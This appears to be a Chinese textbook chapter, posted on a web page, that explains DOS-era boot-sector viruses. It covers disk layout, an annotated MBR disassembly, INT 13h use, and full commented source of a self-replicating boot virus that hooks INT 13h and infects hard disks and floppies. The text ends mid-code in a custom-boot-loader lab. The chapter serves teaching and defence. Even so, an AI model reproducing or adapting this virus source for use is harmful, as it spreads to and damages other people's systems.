手机版 | 登陆 | 注册 | 留言 | 设首页 | 加收藏
当前位置: 网站首页 > 音响设备技术 > 文章 当前位置: 音响设备技术 > 文章

引导型病毒分析-第2章

时间:2009-08-12    点击: 次    来源:本站原创    作者:佚名 - 小 + 大

 

2.1 预备知识


第2章  引导型病毒分析

引导扇区是磁盘的一个特殊扇区,存放了系统启动所需要的代码与数据。引导型病毒是指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于计算机开机后,会先执行主引导分区的代码,因此病毒可以先于操作系统获得控制权。

本章通过介绍系统的启动过程、磁盘结构、主要中断的使用来解释引导型病毒的原理以及如何清除这种类型的病毒。本章的例题最好在安装有DOS或Windows 9x的系统下运行。

2.1  预 备 知 识

引导型病毒的大量出现大约是在1987年,具有代表性的是“小球”和“石头”病毒。由于当时的计算机硬件较少,功能简单,一般需要通过软盘启动后使用。引导型病毒利用软盘的启动原理工作,它们修改系统启动扇区,在计算机启动时首先取得控制权,减少系统内存,修改磁盘读写中断,影响系统工作效率,在系统存取磁盘时进行传播。1989年,引导型病毒发展到可以感染硬盘,典型的代表有“石头2”。进入Windows时代后,计算机系统已普遍具有抵御此类病毒的能力,所以这种病毒已经失去了发展空间,现在很少见了。

在介绍引导型病毒之前,先要介绍几种必须掌握的知识。

2.1.1 磁盘数据结构


2.1.1  磁盘数据结构

一块新磁盘,需要将它分区、格式化,然后再安装上操作系统才可以使用。格式化是指系统为了达到随机存取磁盘数据的目的,需要在盘的磁道上规划出磁道和扇区,每个扇区以引导标记和扇区标记作为扇区的起始,然后才是扇区的内容,后面还有校验标记。格式化后,磁盘被分为面、磁道、扇区和簇。一个面对应一个磁头,每个面由若干个磁道组成,每个磁道又被分成若干个扇区。物理相邻的若干个扇区组成一个簇。操作系统读写磁盘的基本单位是扇区,而文件分配的基本单位是簇。如图2-1所示的是磁盘结构。

安装操作系统后,磁盘被分为保留扇区部分和逻辑分区。对软盘而言,保留扇区部分只有引导扇区;对硬盘而言,除了引导扇区,该磁道的其他扇区是未被利用的。在逻辑分区,以FAT32磁盘格式为例,有该分区的引导扇区,文件分配表FAT和文件数据区。

磁盘的第一个逻辑扇区被称之为主引导扇区(Master Boot Record,MBR),逻辑分区的第一个逻辑扇区被称为引导扇区。引导扇区代码和数据可以使用程序fdisk.exe进行创建。


图2-1  磁盘数据结构
引导扇区内有引导程序,还有磁盘结构数据。以1.44M软盘为例,软盘由两面组成,分别称为0面和1面。磁道是从外到里的同心圆,每面由80个磁道组成。而每个磁道由18个扇区组成,扇区是物理结构的最小单元。每个扇区占512个字节。如图2-2所示是用debug命令-L4000:0 0 0 1读取的1.44M软盘引导扇区数据。该命令表示将第一个驱动器(A:)的第一个逻辑扇区读到内存4000:0的位置,各个参数的使用请参考汇编语言教材的Debug命令的使用。

图2-2  软盘引导扇区
主引导扇区除了引导代码,还有各逻辑扇区的结构数据块,即分区表。分区表数据从引导扇区偏移0x1be开始,共64个字节。分区表最多只能描述4个分区,每个分区16字节。引导代码的作用就是分析分区表中的4个分区引导标志,当某一分区的引导标志为80H时,主引导程序就把这一分区的第一个扇区(逻辑0扇区)读到内存0000:7C00H处,并从该处开始执行。如图2-3所示为一个硬盘MBR中的分区表。例如,分区表中D:的数据结构如下:

图2-3  MBR的分区表 偏移0自举标志0(0x80为活动分区)
偏移1起始磁头号1
偏移2起始扇区号0x41
偏移3起始磁道号0x4b
偏移4为分区格式:FAT32
偏移5终止磁头号0xef
偏移6终止扇区号0xff
偏移7终止磁道号0xa4
偏移8--11本分区前已用扇区0x3F
偏移12--15本分区总扇区数0x1772361
最后两个字节\x55\xAA是引导扇区的标志。在硬盘的第一个磁道,除了MBR扇区,其他扇区是没有被使用的。C:的引导扇区一般在第二个磁道的第一个扇区。如图2-4所示描述了图2-3的分区结构。

图2-4  扇区分布
每个逻辑分区的FAT表用来描述磁盘中各簇的使用情况。对1.44M的软盘,每项FAT为16位(二进制),对多数硬盘,一般为32位(二进制),即FAT32。以FAT32为例,每项值的含义如表2-1所示。
表2-1  FAT32表项意义

   

   

簇描述信息含义

   1

0x00000000

未使用的簇

   2

0x000000020xffffffff

一个已分配的簇号

   3

0xfffffff00xfffffff6

保留的簇

   4

0xfffffff7

坏簇

   5

0xfffffff80xffffffff

文件结束簇

我们可以想象一下,病毒既然把原来的引导程序位置占了,引导扇区只能放512字节,而原来的引导程序又是必需的。那么原来的引导扇区放在哪里并且又不被覆盖呢?

一个可能的位置是MBR扇区所在磁道上的其他未使用的扇区。另一个可能的位置是分区引导扇区所在磁道的其他扇区。还有一个可能位置是磁盘的数据区,病毒只要将所占用的簇对应的FAT表项标记为坏扇区或已经使用的扇区,操作系统存放文件时就不会覆盖它。

2.1.2 系统引导过程与引导扇区分析

2.1.2  系统引导过程与引导扇区分析

1. DOS启动过程

系统在加电后,先由固化在BIOS(Basic Input Output System)中的程序接管进行下列操作。

(1) 系统硬件的自检测试。执行VGA-BIOS等各种卡的BIOS程序。
(2) 将CPU中断向量、BIOS中断向量、BIOS数据块载入基本内存区(前640KB)。
(3) 扫描开机磁盘驱动器,将启动扇区记录(软盘的)或主引导记录(硬盘的)载入地址为0000:7C00H的基本内存区。
(4) 如果是从硬盘启动则转到刚才载入的MBR(0000:7C00H)执行。在MBR控制下扫描硬盘分区表,找到硬盘启动分区位置,载入启动扇区(功能同软盘的BR)到(0000:7C00H)。如果是从软盘启动则跳过这一步。
(5) 将系统控制权交付载入的启动记录程序(即CS:IP指向0000:7C00H)。
(6) 执行启动记录程序,进行操作系统启动文件的加载(一般是IO.SYS和MSDOS.SYS两个核心文件),之后将系统控制权交付操作系统。

DOS启动过程如图2-5所示。


图2-5  DOS的启动

2. MBR代码反汇编

下面的代码是在一台装有Windows 95的计算机上,在Debug下编程时用int 13h读出来的引导程序。

;设置栈SS:SP = 0:7C00
0000:7C00      xor    ax, ax
0000:7C02     mov     ss, ax
0000:7C04      mov     sp, 7C00h
0000:7C07      sti
; DS = ES = 0
0000:7C08     push     ax
0000:7C09      pop     es
0000:7C0A      push     ax
0000:7C0B      pop     ds
;将后面的代码复制到低端内存,为加载
;活动分区的引导扇区腾出空间,因为引导
;扇区也必须加载到0:7C00
0000:7C0C      cld
0000:7C0D      mov     si, 7C1Bh
0000:7C10      mov     di, 61Bh
0000:7C13      push     ax
0000:7C14      push     di
0000:7C15      mov    cx, 1E5h
0000:7C18      repe movsb
;跳到低端内存的代码继续执行
0000:7C1A      retf
;开始扫描分区表(Partition Table),寻找活动分区
0000:061B     mov bp, 7BEh     ; 600h+1BEh,分区表起始偏移为1BEh
0000:061E      mov cl, 4          ;分区表中有4个分区表项
loc_620:
0000:0620      cmp [bp+0], ch    ;是活动分区吗?(此时ch中的值为0)
0000:0623      jl  loc_62E     ;活动分区的标志是80h,若解释成有符号数,则小于0
0000:0625      jnz loc_63A     ;引导标志的合法值只能是0和80h,其他的值则出错
0000:0627      add bp, 10h     ;指向下一个表项(每一个表项的长度为10h字节)
0000:062A      loop loc_620    ;依次扫描所有分区表项
; 没有发现活动分区,无法启动OS,按照规范调用Int 18h
; 早期BIOS的Int 18h中断服务程序就是启动ROM-Basic,
; 现在的BIOS一般是打印错误信息
0000:062C       int   18h
; 找到活动分区后,还要检查剩余分区的启动标志是否为0
;不允许存在多个活动分区
loc_62E:
0000:062E       mov  si, bp
loc_630:
0000:0630       add  si, 10h         ; 下一个分区表项
0000:0633      dec  cx
0000:0634      jz  loc_64F        ; 所有剩余分区都扫描完
0000:0636      cmp  [si], ch         ; 启动标志是否为0?
0000:0638      jz   loc_630        ; 是则合法,检查下一分区
; 分区启动标志不合法,打印错误信息 "Invalid partition table"
loc_63A:
0000:063A      mov al, byte_7B5
loc_63D:
0000:063D      mov ah, 7
0000:063F      mov si, ax
loc_641:
0000:0641     lodsb
loc_642:
0000:0642      cmp  al, 0
0000:0644      jz  loc_642         ; 打印完错误信息后,进入死循环
0000:0646     mov  bx, 7
0000:0649      mov  ah, 0Eh
0000:064B      int  10h            ; 调用Int 10h显示一个字符
0000:064D      jmp short loc_641
; 开始加载活动分区的引导扇区
loc_64F:
; 将一个标志的初始值清0。这个标志表示是否尝试过备份的引导扇区
; [bp+10h]的字节肯定是没用的空间
0000:064F      mov [bp+10h], cl
0000:0652      call sub_69B
0000:0655     jnb loc_681
loc_657:
0000:0657      inc  byte  ptr [bp+10h]  ; 标志已经尝试过加载备份的引导扇区
; 如果活动分区是FAT32分区,尝试加载备份的引导扇区
0000:065A      cmp byte ptr [bp+4], 0Bh        ; FAT32
0000:065E      jz  loc_66B
0000:0660      cmp byte ptr [bp+4], 0Ch        ; FAT32(需用扩展Int 13h访问)
0000:0664      jz loc_66B
; 加载引导扇区失败,显示错误信息, "Error loading operating system"
0000:0666      mov al, byte_7B6
0000:0669     jnz loc_63D
loc_66B:
; FAT32的备份引导扇区号=引导扇区号+6
0000:066B      add  byte ptr [bp+2], 6
0000:066F      add  word ptr [bp+8], 6
0000:0673     adc  word ptr [bp+0Ah], 0
0000:0677      call  sub_69B
0000:067A      jnb  loc_681
; 连备份的引导扇区也坏了,就没辙了!
0000:067C      mov al, byte_7B6
0000:067F      jmp short loc_63D
; 在把控制权交给引导扇区前,要先检查引导扇区的签名(signature)
; 防止把控制权交给已经损坏的引导扇区
loc_681:
0000:0681      cmp word ptr ds:[7DFEh], 0AA55h ;签名就是扇区最后的2个字节
0000:0687      jz loc_694
; 引导扇区损坏,则尝试用备份引导扇区
0000:0689      cmp byte ptr [bp+10h], 0     ;已经是备份的引导扇区?
0000:068D     jz loc_657
; 备份引导扇区也坏了,死翘翘
0000:068F      mov al, byte_7B7
0000:0692      jmp short loc_63D
; 交权给引导扇区,让它去完成OS的引导
0000:0694 loc_694:
0000:0694      mov di, sp               ; di = sp = 7C00h
0000:0696      push ds
0000:0697     push di
0000:0698      mov si, bp               ; 把活动分区表项指针传给引导扇区
0000:069A      retf                     ; 跳到0:7C00
; 读取引导扇区的子过程
sub_69B proc near
0000:069B      mov di, 5               ; 磁盘I/O错允许重试次数为5次
; 取硬盘的磁道参数
0000:069E      mov  dl, [bp+0]       ; 分区的启动标志其实就是硬盘号
0000:06A1      mov  ah, 8
0000:06A3      int  13h
0000:06A5     jb  loc_6CA      ; 如果取参数失败,认为BIOS肯定不支持扩展
Int 13h
; 只好用传统Int 13h
; 计算用传统Int 13h能访问的最大逻辑扇区号
; 计算公式为:(最大磁头号+1)*每道扇区数*(最大磁道号+1)
; 注意这个计算次序是有讲究的,因为(最大磁头号+1)*每道扇区数
; 的结果可以用16位寄存器就可以存放。如果先用磁道号来计算,
; 乘的结果就必须用两个寄存器来存放,导致第二步乘计算复杂化
0000:06A7      mov  al, cl
0000:06A9      and  al, 3Fh
0000:06AB      cbw                    ; ax中为第道扇区数
0000:06AC      mov  bl, dh
0000:06AE      mov  bh, ah             ; bh = 0,ah肯定为0
0000:06B0      inc  bx
0000:06B1      mul  bx                 ; (最大磁头号+1)*每道扇区数
0000:06B3      mov  dx, cx
0000:06B5      xchg  dl, dh
0000:06B7      mov  cl, 6
0000:06B9      shr  dh, cl             ; dx中为(最大磁道号+1)
0000:06BB      inc  dx
0000:06BC      mul dx           ; (最大磁头号+1)*每道扇区数*(最大磁道号+1)
; 判断引导扇区是否可以用传统Int 13h来访问
; 如果引导扇区的逻辑扇区号 >= 刚才算出的扇区号,必须用扩展Int13h来读取
; 否则就用传统Int 13h来访问
; 注意一下双字数的比较方法!
0000:06BE      cmp  [bp+0Ah], dx
0000:06C1      ja  loc_6E6
0000:06C3      jb  loc_6CA
0000:06C5      cmp  [bp+8], ax
0000:06C8      jnb  loc_6E6
; 用传统Int 13h来读引导扇区
loc_6CA:
0000:06CA      mov  ax, 201h
0000:06CD      mov  bx, 7C00h
0000:06D0      mov  cx, [bp+2]
0000:06D3      mov  dx, [bp+0]
0000:06D6      int  13h
0000:06D8      jnb  locret_72B
; 读取失败可以重试,试完规定的次数后还失败就没办法了
0000:06DA      dec  di
0000:06DB      jz  locret_72B
; 重试前重置一下磁盘系统
0000:06DD      xor  ah, ah
0000:06DF      mov  dl, [bp+0]
0000:06E2      int  13h
0000:06E4      jmp  short loc_6CA
; 检查BIOS是否支持扩展Int 13h
loc_6E6:
0000:06E6      mov  dl, [bp+0]
0000:06E9      pusha
0000:06EA      mov  bx, 55AAh
0000:06ED      mov  ah, 41h
0000:06EF      int  13h
0000:06F1      jb  loc_729
0000:06F3      cmp  bx, 0AA55h
0000:06F7       jnz  loc_729
0000:06F9       test  cl, 1               ;必须支持Fixed disk access这个功能子集
0000:06FC       jz  loc_729
0000:06FE       popa
; 扩展Int 13h读扇区
loc_6FF:
0000:06FF      pusha
; 在栈中构造磁盘地址包(Disk Address Packet)
0000:0700      push 0
0000:0702      push 0
0000:0704      push word ptr [bp+0Ah]
0000:0707      push word ptr [bp+8]     ; 要读扇区的LBA地址(4个word)
0000:070A      push 0
0000:070C      push 7C00h               ; 引导扇区读到0:7C00h
0000:070F      push  1                 ; 读一个扇区
0000:0711      push  10h               ; 包长度16个字节
0000:0713      mov  ah, 42h
0000:0715      mov  si, sp
0000:0717       int  13h
0000:0719       popa        ; 这里用了一个小技巧,一下子从栈中弹出8个word
; (地址包刚好是8个word)
0000:071A      popa              ; 这才是真正的恢复保存的通用寄存器的值
0000:071B      jnb  locret_72B
0000:071D      dec  di             ; 不成功有重试的机会
; 注意这里也有个小技巧:dec指令不改变CF的状态
0000:071E       jz  locret_72B       ; 直到所有重试次数用完
; 重试前重置磁盘系统
0000:0720       xor  ah, ah
0000:0722      mov  dl, [bp+0]
0000:0725       int 13h
0000:0727       jmp short loc_6FF
loc_729:
0000:0729      popa
0000:072A      stc
locret_72B:
0000:072B       retn
sub_69B endp
0000:072C db   'Invalid partition table',0
0000:0744 db   'Error loading operating system',0
0000:0763 db   'Missing operating system',0
0000:07B5   byte_7B5 db 2Ch
0000:07B6   byte_7B6 db 44h
0000:07B7   byte_7B7 db 63h
0000:07FE      dw 0AA55h           ; MBR的标志

2.1.3 读写扇区方式

2.1.3  读写扇区方式

1. Int 13h

引导型病毒最常用的中断是int 13h,其次可能还有int 16h和int 10h等。Int 13h用于磁盘扇区的读写。使用方法如下。

AH = 2 / 3;等于2时进行读操作,等于3时进行写操作
AL = 要读的扇区数;
CH = 柱面号(低8位);
CL = 扇区号(0-5位);6-7位为柱面号;
DH = 磁头号;
DL = 驱动器号,软盘A,B为0,1,对第一块硬盘80H,第二块81H,……;
ES:BX = 数据缓冲区的地址。

输出信息如下:

CF=0,操作成功,AH=0 ,AL=读出的扇区数;
CF=1,操作失败,AH=出错状态,同前。

还有一个扩展功能用来读写大硬盘。

2. 读写扇区的其他方法

用Debug的L和W命令可以读写分区的扇区。用A命令编程,可以读写所有扇区。例如,下面的代码将主引导扇区数据读到内存4000H:0000H。
在DOS下或Windows 98下,可以用Debug的L命令读引导扇区。例如,执行下面的命令:

C:> Debug ↙
-L4000:0  2 0 1    ;表示将C:的逻辑0扇区共1个扇区读到内存4000h:0000

在DOS下或Windows 98下可以用int 13H的功能2读主引导扇区。例如,执行下面的代码:

mov  ah, 2     ;功能号
mov  al, 1    ;读一个扇区
mov  cx, 1
mov  dx, 80h     ;读第一块物理硬盘
mov  bx, 4000h   ;数据存放地址在ES:BX
mov  es,  bx
mob  bx,  0
int  13h

在Windows 2000以后的系统,把整个物理磁盘或分区当作一个文件,使用文件操作函数可以读写扇区。对于读写逻辑分区、软盘和U盘,使用的文件名为“\\\\.\\A:”(对A:)、“\\\\.\\C:”(对C:)等。对于读写物理硬盘,使用的文件名为“\\\\.\\PhysicalDrive0”(对第一块物理硬盘),“\\\\.\\PhysicalDrive1”(对第二块物理硬盘)等。

读扇区的函数实现代码如下:

BOOL CDo_DiskDlg::ReadSectors(BYTE bDrive, DWORD dwStartSector,  LPBYTE lpSectBuff)
{
char devName[] = "\\\\.\\A :";
ULONGLONG  pos=(ULONGLONG)(512 * dwStartSector);
DWORD low;
long high;
low=((DWORD)pos);
high=(long)(pos>>32);
devName[4] ='A' + bDrive;
HANDLE hDev = CreateFile(devName, GENERIC_READ,
FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDev == INVALID_HANDLE_VALUE) return 0;
SetFilePointer(hDev,low , &high, FILE_BEGIN);
DWORD dwCB;
BOOL bRet = ReadFile(hDev, cBuf, 512*10 , &dwCB, NULL);
CloseHandle(hDev);
return bRet;
}

病毒可以修改中断向量表,使int 13h的入口地址为病毒代码。当正常程序调用int 13h时就会先运行病毒代码。

2.1.4 程序常驻内存

2.1.4  程序常驻内存

最早设计DOS操作系统时,PC机的硬件系统只支持1M字节的寻址空间,所以DOS只能直接管理最多1M字节的连续内存空间。在这1M内存中,仅有640K被留给应用程序使用,它们被称为常规内存或基本内存。

在DOS自举完成后,内存的结构如图2-6所示。


图2-6  DOS内存结构
在内存0:413h开始处的两个字节描述了内存中未用内存的高端位置,它的值是KB的倍数。病毒程序首先将自身复制到内存的高端,修改内存容量标志单元0:413H,在原有值的基础上减去病毒长度,使得病毒的int 13h能够常驻内存,并将原int 13h磁盘中断服务程序的中断向量保存,然后将该中断向量置成新的int 13h中断程序入口,即加上一段病毒感染程序,功能是完成当系统对软盘进行读写操作时,如果该软盘尚未感染,则将该病毒写入该软盘,完成一次病毒的传播过程。

2.2.1 引导型病毒工作原理

2.2  引导型病毒

引导型病毒要利用引导扇区藏身,利用IOS中断执行破坏操作,利用BIOS数据区来使病毒代码常驻内存。下面进行详细介绍。

2.2.1  引导型病毒工作原理

引导型病毒是一种在ROM BIOS之后,系统引导时出现的病毒,它先于操作系统,依托的环境是BIOS中断服务程序。引导型病毒是利用操作系统的引导模块放在某个固定的位置,并且控制权的转交方式是以物理位置为依据,而不是以操作系统引导区的内容为依据,因而病毒占据该物理位置即可获得控制权,而将真正的引导区内容搬家转移或替换,待病毒程序执行后,将控制权交给真正的引导区内容,使得这个带病毒的系统看似正常运转,而病毒已隐藏在系统中并伺机传染、发作。

引导型病毒按其寄生对象的不同又可分为两类,即MBR(主引导区)病毒、BR(引导区)病毒。MBR病毒也称为分区病毒,将病毒寄生在硬盘分区主引导程序所占据的硬盘0头0柱面第1个扇区中。典型的MBR病毒有大麻(Stoned)、2708、INT60病毒等。BR病毒是将病毒寄生在硬盘逻辑0扇或软盘逻辑0扇(即0面0道第1个扇区)。典型的BR病毒有Brain、小球病毒等。

引导型病毒是在安装操作系统之前进入内存的,寄生对象又相对固定,因此,该类型病毒基本上不得不采用减少操作系统所掌管的内存容量方法来驻留内存高端。而正常的系统引导过程一般是不减少系统内存的。

引导型病毒需要把病毒传染给软盘,一般是通过修改int 13h的中断向量,而新int 13h中断向量段址必定指向内存高端的病毒程序。

引导型病毒感染硬盘时,必定驻留硬盘的主引导扇区或引导扇区,并且只驻留一次,因此引导型病毒一般都是在软盘启动过程中把病毒传染给硬盘。而正常的引导过程一般不对硬盘主引导区或引导区进行写盘操作。
引导型病毒的寄生对象相对固定,把当前的系统主引导扇区和引导扇区与干净的主引导扇区和引导扇区进行比较,如果内容不一致,则可认定系统引导区异常。

将引导型病的注入系统前后的开机程序作横向比较,就能清楚的获知何谓引导型病毒。

软盘中毒前的正常开机程序为:开机→执行BIOS→自我测试POST→填入中断向量表→启动扇区(Boot sector)→IO.SYS→MSDOS.SYS→COMMAND.COM。
软盘中毒之后的开机程序为:开机→执行BIOS→自我测试POST→填入中断向量表→开机型病毒→启动扇区(Boot Sector)→IO.SYS→MSDOS.SYS→COMMAND.COM。
硬盘中毒前的正常开机程序为:开机→执行BIOS→自我测试POST→填入中断向量表→硬盘分区表(Partition Table)→启动扇区(Boot Sector)→IO.SYS→MSDOS.SYS→COMMAND.COM。
硬盘中毒之后的开机程序为:开机→执行BIOS→自我测试POST→填入中断向量表→硬盘分割表(Partition Table)→开机型病毒→启动扇区(Boot Sector)→IO.SYS→MSDOS.SYS→COMMAND.COM。

2.2.2 一个引导型病毒分析

2.2.2  一个引导型病毒分析

以下是一个病毒的源代码,该病毒具备了引导型病毒的一般特征,但已经过修改,去掉了破坏硬盘分区表的部分,比较适合做分析和实验。

1. 实现的功能与流程简介

功能:开机驻留内存,替换原始int 13h,将其指向自己,监视系统运行,伺机传染软盘。


图2-7  感染后的执行过程

此病毒将替换软盘的DBR或硬盘的MBR,开机时被BIOS程序载入内存地址0000:7C00h并开始执行。

2. 源代码及注释

;nova.asm
NOVA SEGMENT                        ;定义段
ASSUME CS:NOVA,DS:NOVA,ES:NOVA   ;声明段与寄存器的结合
.286                                    ;处理机模式
org 0000h                               ;制定下一指令的偏移地址为0000h
start:
jmp short vir_init                      ;下面两个字节用于保存中断向量,跳过
oint13_ip  dw  ?
oint13_cs  dw  ?
reg_cx   dw   4f0fh                     ;正常的MBR的地址(表示79道15扇)
vir_init:                                 ;病毒从这里开始执行
mov  si, 7c00h                           ;当前病毒所在的偏移地址
cli                                      ;为确保堆栈操作正常,中断禁能
xor  bx, bx                              ;BX清零
mov ds,bx                               ;0000为当前之段地址置入数据段寄存器ds中
;下面将堆栈放置在程序段的头部
mov  ss, bx                              ;0000为当前之段地址置入ss中
mov sp, si                                ;7c00为当前程序段偏移地址置入sp中
sti                                      ;中断置能
push  bx                                ;0000:7c00h置入堆栈
push si                                  ;为以后使用RETF跳转到此执行做准备
cld                                     ;清方向标志
mov  ax, [bx+13h*04h]                    ;取int 13h的偏移地址
mov ds:[si+OFFSET oint13_ip], ax         ;放入本程序段前的预留空间中
mov ax, [bx+13h*04h+02h]                 ;取int 13h的段地址
mov ds:[si+OFFSET oint13_cs], ax         ;放入预留空间中
dec word ptr ds:[0413h]                   ;BIOS资料区的可用内存数减1k
int 12h                                  ;取内存数,到AX
shl ax, 06h                               ;左移6位
mov es, ax                               ;放入ES,求得病毒藏身驻留地区起始段地址
;(640-1)*26 =40896
push ax                                 ;段地址入栈
push OFFSET high_code                   ;偏移地址入栈
;开始将病毒的程序码搬移到1k高地址区
mov cx, 0100h                     ;置搬移数量
xor di,di                            ;置搬移目的地址的偏移地址(段地址ES先前已放置)
repz movsw                         ;开始搬移256个字,也就是512个字节(一个扇区)
retf                                ;转到藏身区继续执行
high_code:                          ;以下的代码将在1k的驻留地区继续执行
xor ax, ax                           ;ax置零
mov es, ax                          ;ex置零
int  13h                           ;软驱复位
push  cs                           ;cs入栈
pop ds                             ;cs内容放入ds
xor  si, si                          ;si置零
;下面开始寻找正常的启动记录
mov  ax, 0201h                     ;调用磁盘服务,读取一个扇区
mov  bx, 7c00h                     ;读取到0000:7c00h
mov cx, ds:[si+OFFSET reg_cx];将保存正常启动记录的地址取出
;病毒会将正常的引导记录存在:硬盘,0面0道2扇;软盘,1面79道15扇
cmp  cx, 0002h                     ;比较看是不是0道2扇区
jnz  boot_fd                        ;如果不是则一定是从软盘启动,此时需要传染硬盘
;如果是则一定从硬盘启动
mov  dx, 0080h                     ;读硬盘0HEAD
int  13h                          ;开始读取
call near  ptr  install             ;调用子程序,安装病毒的int 13h
retf                                ;转到0000:7c00h开始执行正常的引导记录程序
boot_fd:                            ;从软盘引导
mov  dx, 0100h                     ;读A驱动器1面
int 13h                            
jb  boot_dos                       ;如果读取失败转到boot_dos
;下面准备传染硬盘
push  cs
pop  es                            ;cs值放入es
mov  ax, 0201h
mov  bx, 0200h
mov  cx, 0001h
mov  dx, 0080h
int  13h                           ;读硬盘0面0道1扇区之内容到病毒驻留区段并偏移512个字节,
;避免覆盖到病毒程序本身
jb  boot_dos                   ;不成功则转到boot_dos
cmp word ptr ds:[bx], 06ebh     ;把读到的内容的第一个字取出与06ebh相比,06beh是
;病毒程序第一条指令的机器码,如果比较结果相等,说明硬盘先前已传染,就不再次传染。
jnz inf_hd                     ;不相等,说明硬盘没有被传染,跳转到传染程序
call near ptr install            ;调用子程序,安装病毒的int 13h
retf                           ;转到0000:7c00h开始执行正常的引导记录程序
boot_dos:                      ;执行失败,就跳转到此处
int  18h                       ;转到ROM-basic执行
inf_hd:                        ;传染硬盘
;先将刚才读到的正常引导记录保存道0道2扇
inc  cx                        ;cx此时为1,为2
mov  ds:[si+OFFSET reg_cx],cx   ;cx存放的是正常引导记录的位置(磁道;扇区)0道2扇
mov  ax, 0301h                 ;写入一个扇区
mov  dx, 0080h                 ;写入硬盘1的0面
int  13h                       ;开始写入
jb  boot_dos                   ;不成功转到BOOT_DOS
;准备替换引导扇区
;保留硬盘分区表
;如果省略此步骤,从软驱引导则无法进入硬盘,很危险。
mov  cl, 21h                   ;准备搬移33个字
mov  di, 01beh                 ;从内存高端的03beh搬移到
mov  si, 03beh                 ;内存高端的01BEh,此处正是病毒程序的驻留区
repz  movsw                  ;开始搬移
mov  ax, 0301h                ;准备向硬盘写入一个扇区
xor  bx, bx
inc  cx                       ;cx置1
int  13h                       ;写入物理硬盘0面0道1扇区
call  near ptr install              ;安装病毒的int 13h
retf                           ;转到0000:7c00h执行,正式从软盘启动
install:                        ;病毒int 13h的安装子程序
push  ax
push  ds
xor  ax, ax
mov  ds, ax
mov  ax, offset vint13h      ;病毒int 13h的偏移地址
mov ds:[13h*04], ax          ;替换原int 13h的ip
mov  ax, cs                    ;取得病毒的段地址
mov  ds:[13h*04h+02h], ax    ;替换原int 13h的cs
pop  ax
pop  ds
ret
vint13h:        
pushf
cmp cx,0001h                 ;是否对0道1扇区进行操作
jz stealth                    ;是则进入特殊处理程序stealth
or dl,dl                     ;是否操作A驱
jnz vint13h_ext             ;不是则转到原始int 13h中断执行
test al,01h                   ;是否操作奇数个扇区(测试AL的最低位)
jnz vint13h_ext              ;不是则转到原始int 13h中断执行
call inf_fd                   ;调用传染软盘子程序
vint13h_ext:                 ;病毒int 13h到此结束
popf                          ;下面
jmp dword ptr cs:oint13_ip    ;调用原始int 13h,开始正常处理
stealth:                   ;特殊处理部分
cmp al,01h                ;是否操作一个扇区
jnz vint13h_ext          ;不是则转到正常中断
cmp dx,0080h             ;是否操作硬盘0面
jnz vint13h_ext          ;不是则转到正常中断
inc cx                      ;对硬盘0面0道1扇区操作改为对2扇区的操作
jmp short vint13h_ext     ;转到正常的中断服务程序
inf_fd:                    ;传染软盘子程序
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
push cs                    ;置ds,es的值
pop ds
push cs
pop es
xor di,di                     ;di置0
mov si,0003h                 ;si置3(表示读3次)
read_again:
mov ax,0201h
mov bx,0200h
mov cx,0001h
xor dx,dx                    ;读取软盘0面0道1扇区到病毒常驻段偏移地址为0200h
pushf
call dword ptr ds:[di+OFFSET oint13_ip]
jnb read_succ              ;读取成功转READ_SUCC处理
xor ax,ax                   ;否则软驱复位
pushf
call dword ptr ds:[di+OFFSET oint13_ip]
dec si                     ;次数减1
jnz read_again             ;不为0再次读取
jmp short inf_ext        ;否则退出
read_succ:                ;读取成功后,以Vir_init处一个字的机器码为特征码进行比较
;判断软盘是否已经染毒,如果染毒,则进行传染
cmp word ptr ds:[bx+OFFSET vir_init],00beh
jz inf_ext             ;已染毒,退出
mov cx,4f0fh
mov ds:[di+OFFSET reg_cx],cx    ;存放正常的引导程序磁道号扇区号
mov ax,0301h
mov dh,01h                    写入软盘1面79到15扇区
pushf
call dword ptr ds:[di+OFFSET oint13_ip]
jb inf_ext
;下面将驻留在内存中的病毒程序写入软盘的0面0到1扇区
mov ax,0301h
xor bx,bx
mov cx,0001h
xor dx,dx
pushf
call dword ptr ds:[di+OFFSET oint13_ip]
inf_ext:                       ;退出传染子程序
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
ret
fillnum  equ  200h-($-start)          ;以0填充剩余的字节,保证占有512个字节
db  fillnum  dup(0)
NOVA  ENDS
END start

如图2-8所示是病毒的int 13h中断服务子程序,也是病毒程序中较复杂的部分流程。



图2-8  病毒int 13h流程

2.3 实验1:引导程序设计

2.3  实验1:引导程序设计

既然引导型病毒已经是历史,但设计自己的引导程序在某个时候还是可能需要的。本节我们将模拟病毒替换原来的引导程序,设计自己的引导程序。

1. 编写代码

设计一个简单的主引导程序,安装后使机器在每次启动时都显示一行字符串“Hell,World!”,然后再装载系统。

引导程序必须是com格式,程序分为4部分:显示字符串、延时、将自己读到另一个位置和调用原引导程序。延时是为了让显示的字符串稍作停留。因为BIOS总是把主引导程序读到内存0:7C00H再开始执行的,现在要把原来的主引导程序读到0:7C00H来,必须先将现在的引导程序占有的位置让出。调用原来的引导程序通过调用int 13h即可实现。实现的效果如图2-9所示,代码如下。



图2-9  新的引导程序界面
;文件名 BOOT.ASM
.MODEL TINY
.CODE
.STARTUP
DB 7B00H  DUP(0)   ;com格式程序从100H,加7B00H让其从7C00H开始,与引导同
POS1  EQU  $       ;POS1等于当前偏移地址
JMP START           ;跳过数据部分
INFO1  DB "HELL,WORLD",0
COLUMN1    DB   30        ;定义列号,字符从此位置开始
TIME_OUT    DW   0         ;延时用
TIME_IN        DW   0         ;延时用
START:
;滚动屏幕,设置背景色且清除屏幕已有字符
MOV SI,OFFSET INFO1    ;用SI表示字符串偏移地址
MOV AX,0600H 
MOV DX,184FH      ;滚动的行、列数
MOV CX,0
MOV BH,0          ;背景颜色为黑色
INT 10H
AGAIN:
;移动光标位置(COLUMN1,10)
MOV AH,2
MOV DH,10   
MOV DL,COLUMN1
MOV BH,0
INT 10H
;在光标处显示字符
MOV CX,1
MOV AH,9
MOV AL,[SI]
MOV BL,12
MOV BH,0
INT 10H
INC SI
INC COLUMN1
CMP BYTE PTR[SI],0     ;到0结束
JNZ AGAIN
;延时,若有任意键输入则结束延时
LOOP_OUT:
INC TIME_OUT
MOV TIME_IN,0
LOOP_IN:
INC TIME_IN
CMP TIME_IN,60000
JB LOOP_IN 
CMP TIME_OUT,20000
NOP
MOV AH,1H
INT 16H             
